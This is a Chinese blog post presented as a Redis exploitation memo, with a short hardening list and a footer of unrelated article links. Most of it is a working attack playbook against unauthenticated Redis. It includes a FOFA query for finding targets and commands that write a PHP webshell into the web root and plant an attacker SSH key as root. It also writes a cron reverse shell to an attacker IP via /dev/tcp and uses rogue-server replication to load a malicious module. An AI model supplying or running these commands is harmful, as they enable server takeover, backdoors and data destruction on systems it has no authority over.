当前位置: 首页 > news >正文

redis利用备忘录

fofa:

icon_hash="864611937"

防护:

redis的安全设置:设置完毕,需要重加载配置文件启动redis


1.绑定内网ip地址进行访问
2. requirepass设置redis密码
3.保护模式开启protected-mode开启(默认开启)
4.最好把端口更改
5.单独为redis设置一个普通账号,启动redis。

1.redis 未授权:

条件:

(1)redis绑定在0.0.0.0:6379,且没有进行添加防火墙规则避免其他非信任来源ip访问等相关安全策

略,直接暴露在公网;

(2)没有设置密码认证(一般为空),可以免密码远程登录redis服务。

危害:

1、攻击者无需认证访问到内部数据,可能导致敏感信息泄露,攻击者也可以执行flushall来清空所有数据

2、攻击者可通过EVAL执行lua代码或通过数据备份功能往硬盘写入后门,如果Redis是以root身份运行,黑客可以给root账户写入SSH公钥文件,直接登陆目标服务器

测试流程:

redis-cli -h ip

2.redis 写 webshell

漏洞原理:

靶机的redis存在未授权访问,并且开启了web服务,知道了web目录的路径,并具有文件读写增删改查的权限,即可通过redis在指定的web目录下写入一句话木马,用菜刀连接可达到控制服务器的目的

利用:

Config set dir /var/www/html → 切换到网站的根路径

Config set dbfilename yy.php →在硬盘中生成木马文件

Set XXX "\n\n\n<?php evaI($_REQUEST[8]);?>\n\n\n" ----> \n 为换行,区分开来

save

浏览器看是否上传成功:ip/文件名

执行 phpinfo: IP/文件名?8=phpinfo()

3.redis 密钥登录 ssh

原理:

漏洞原理:在数据库中插入一条数据,将本机的公钥作为value,key值随意,然后通过修改

数据库的默认路径为/root/.ssh和默认的缓冲文件authorized.kevs,把缓冲的数据保存在

文件里,这样就可以在服务器端的/root/.ssh下生成一个授权的key。

利用条件:

redis对外开放,且是未授权访问状态,并且redis服务ssh对外开放,可以通过key登入

攻击机上(kali) 创建ssh-rsa也就是生成key这里密码设置成空全部默认就行 → ssh-keygen-trsa

ssh-keygen -t rsa #生成公钥

cd /root/.ssh #切换到 ssh 目录

Is

cat id_rsa.pub #查看公钥

redis-cli -h 192.168.33.134 #连接目标主机redis

config get dir #检查当前保存路径

config get dbfilename #检查保存文件名

config set dir /root/.ssh/ #设置保存路径

config set dbfilename authorized_keys #设置保存文件名

set xz"\n\n\n 公钥 \n\n\n" #将公钥写入xz健

save #进行保存

ssh -i id_rsa root@192.168.91.131 #连接主机

4.利用计划任务反弹 shell

漏洞原理:

利用Redis未授权漏洞,可以通过写入文件到系统计划任务目录I/var/spool/cron下来执行。

利用:

攻击机开启监听 → nc-lvvp 9999

redis-cli -h 192.168.33.1341 #连接redis

flushall #清除所有键值

config set dir /var/spool/cron #设置保存路径

config set dbfilename root #保存名称

set xz "\n\n***** bash -i >& /dev/tcp/192.168.91.132/9999 0>&1 \n\n" #将反弹shell写入xz键值

save #写入保存路径的shell文件

5.远程主从复制 RCE

原理:

漏洞原理:漏洞存在于4.x、5.x版本中,Redis提供了主从模式,主从模式指使用一个redis作为主机,其他的作为备份机,主机从机数据都是一样的,从机负责读,主机只负责写,通过读写分离可以大幅度减轻流量的压力,算是一种通过牺牲空间来换取效率的缓解方式。在redis 4.x之后,通过外部拓展可以实现在redis中实现一个新的Redis命令,通过写c语言并编译出.So文件。在两个Redis实例设置主从模式的时候,Redis的主机实例可以通过FULLRESYNC同步文件到从机上。然后在从机上加载恶意so文件,即可执行命令。

利用:

redis-rogue-server工具下载地址:

https://github.com/nob0dyCN/redis-rogue-server

该工具无法对Redis密码进行Redis认证,也就是说该工具只适合目标存在Redis未授权访问漏洞时使用

如果存在密码可以使用下面这个工具。Awsome-Redis-Rogue-ServerI具下载地址:

https://github.com/Testzero-wz/Awsome-Redis-Rogue-Server

python3 redis-rogue-server.py --rhost 192.168.91.162 --lhost 192.168.91.132

输入 r,反弹 shell 输入 i 执行命令

6.本地主从复制

攻击机:python3 redis_rogue_server.py -v -path exp.so

config set dir /tmp

//一般tmp目录都有写权限,所以选择这个目录写入

config set dbfilename exp.so

//设置导出文件的名字

slaveof 192.168.190.128 15000

//进行主从同步,将恶意so文件写入到tmp目录

module load./exp.so

//加载写入的恶意so文件模块

module list

//查看恶意so有没有加载成功,主要看有没有"system"

system.rev 192.168.91.132 1234

http://www.xdnf.cn/news/9451.html

相关文章:

  • Jsp技术入门指南【五】详细讲解jsp结构页面
  • 【含文档+PPT+源码】基于Python爬虫二手房价格预测与可视化系统的设计与实现
  • 论文阅读:2024 arxiv AI Safety in Generative AI Large Language Models: A Survey
  • 自然语言处理入门7——注意力机制
  • 数据结构——顺序表(C语言实现)
  • [250418] 智谱 AI 发布新一代模型,同时推出新域名 Z.ai
  • yocto编译使用共享缓存
  • IntelliSense 已完成初始化,但在尝试加载文档时出错
  • 前端单元测试实战:如何开始?
  • Vue2+Vue3 130~180集学习笔记
  • Google Colab测试部署Qwen大模型,实现PDF转MD场景OCR 识别(支持单机环境)
  • 迭代器模式:统一不同数据结构的遍历方式
  • ctf.show—Web(1-10)详细通关教程
  • 2025年行业AI Agent选型专业指南
  • RT-Thread RTThread studio 初使用
  • 零基础玩转AI数学建模:从理论到实战
  • LINUX学习——守护进程的含义及编程实现
  • Function Calling的机制 (含示例)
  • Sqlite3交叉编译全过程
  • 2025妈妈杯数学建模B题完整分析论文
  • 游戏引擎学习第233天
  • 【go】什么是Go语言中的GC,作用是什么?调优,sync.Pool优化,逃逸分析演示
  • 深度学习神经网络全连接笔记day1
  • 2025年03月中国电子学会青少年软件编程(Python)等级考试试卷(四级)真题
  • python flask 项目部署
  • 源码分析之Leaflet中Point
  • CSS 美化页面(五)
  • TikTok流量变现全攻略:免费与付费玩法解析
  • 【项目管理】第19章 配置与变更管理-- 知识点整理
  • 嵌入式ARM RISCV toolchain工具 梳理arm-none-eabi-gcc